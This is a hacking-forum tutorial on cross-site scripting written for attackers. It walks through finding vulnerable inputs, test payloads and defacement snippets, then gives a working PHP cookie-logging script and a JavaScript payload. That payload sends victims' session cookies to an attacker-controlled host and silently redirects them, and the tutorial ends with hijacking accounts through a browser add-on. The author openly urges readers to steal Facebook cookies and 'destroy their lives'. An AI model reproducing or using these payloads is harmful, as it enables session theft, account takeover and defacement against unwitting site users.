[tut]Basic Xss (and cookie stealing explenation)

Part 1. What is Xss?

Explenation.

The full name for Xss is cross site scripting.
You can take this name literally. Because we inject right into the site/ into the inputs.
Changing/editing html. which gives us the advantage to gather user information if they click the malicious input!

cross site scripting is injecting javascript and html into the inputs of a site.
If you by accedent know the arrays a site uses when its php, then you could use some php.
but most likely it wont work.

What is a cookie?
yes, you can eat cookie's. but id suggest you don't try to eat these.
A cookie is a code that contains information for the site to know where exactly you are at the moment.
It is most likely if you have no cookie you can't stay logged in.

We use the advantage of this variable to login on that site whit there cookie.
which will give us acces to there account and more.
Its not only the current site cookie you can steal.
You can steal there facebook cookie's :D
so not only your having fun on their site.
go have fun and destroy their lives!

Different Types.

3 most seen types.
Probebly the only ones you will see.

Non persistence XSS
This means that oure mallicious code would not be permanent.
and only appear at the time we inject it.
This is not very usefull. we want persistence XSS!

Persistence XSS
This means the mallicious code is permanent.
The output from this code will be seen by all users!
If we put a cookie stealing script in there.
It would logg all users visiting that link.
providing us whit information to log in on their accounts.

DOM-based XSS
Last but not least.
Our mallicious code will be permanent.
But however it will output different due to the type.
it outputs an unexpected result.
in some cases this cant do harm.
in other cases the code can fail.
or will be notified by an admin before you can use it.

part 2. checking xss vulnerability.

This is quite simple.
But first we need to look for a vuln one.

searching vulnerability.

We have to look for all kinds off inputs!
for example:

Code 
shoutbox, searchbox, forums, comment space, blogs, login place, many more...

So, use google and look for these.

testing vulnerability.
So now we use our script in one of the inputs.

script1:

Code 
<script>alert(“xss”);</script>

(You created a costom error saying XSS)

Somethimes admins disable the xss word or ".
or other words. we can chenge this.

script2:

Code 
<script>alert('test');</script>

(Now you creatred an error whit test obvious)

But you can also put names or other stuff.

Code 
<script>alert("real steel");</script>

this will output my name.

part 3. Changing content!

insert deface page.

Redirecting to another page:

Code 
<script>window.open("http://www.yoursite.com/")</script>

insert text or images.

images.

Code 
<img src=“image url here”></img>

plain text

Code 
<b> You got own by real steel!</b>

part 4. cookie stealing!

how to set up a cookie stealer.

1. we need a cookie stealing script.
Don't worry here we go.

PHP Code 


<?php

function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
  $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
  $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
  $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
  $ip = $_SERVER['REMOTE_ADDR'];
    else
  $ip = "unknown";
    return($ip);
}

function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
    else
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
    fclose($log);
}

logData();

?>

Now how do we use this?
well we need this php file and a logg file on a online place.
so you will need server acces. call the cookie stealer giveyourname.php
and the loggfile log.txt

leave the log.txt file empty.
and paste the cookie stealer script into giveyourname.php!

Now put these in your directory or online somewhere.

how to use a cookie stealer.
By inserting this code into the XSS vulnerable input:

Code 
<script language= "JavaScript">document.location="http://yoursite.com/giveyourname.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>

you create a redirect to your steal script as soon as a user clicks it.
when logged it redirects the user to the unmodified search page or other page.
so they would not notice strange things.

how to use cookies in your advantage.
i will only show this whit an addon for firefox.
don't say chrome is bether!

FIREFOX IS AN AMAZING TOOL IT HAS ALL WE NEED!

this video shows how to use the addon.

Security blogspot video

Link to addon:
http://a4apphack.com/featured/secfox-addons-for-cookie-analysis-and-manipulation

Now you should be browsing some admin accs :D

Good luck to all of you trying my tutorial.
Sorry for the bad english!
and i hope you enjoyed my tutorial. grtz Real Steel!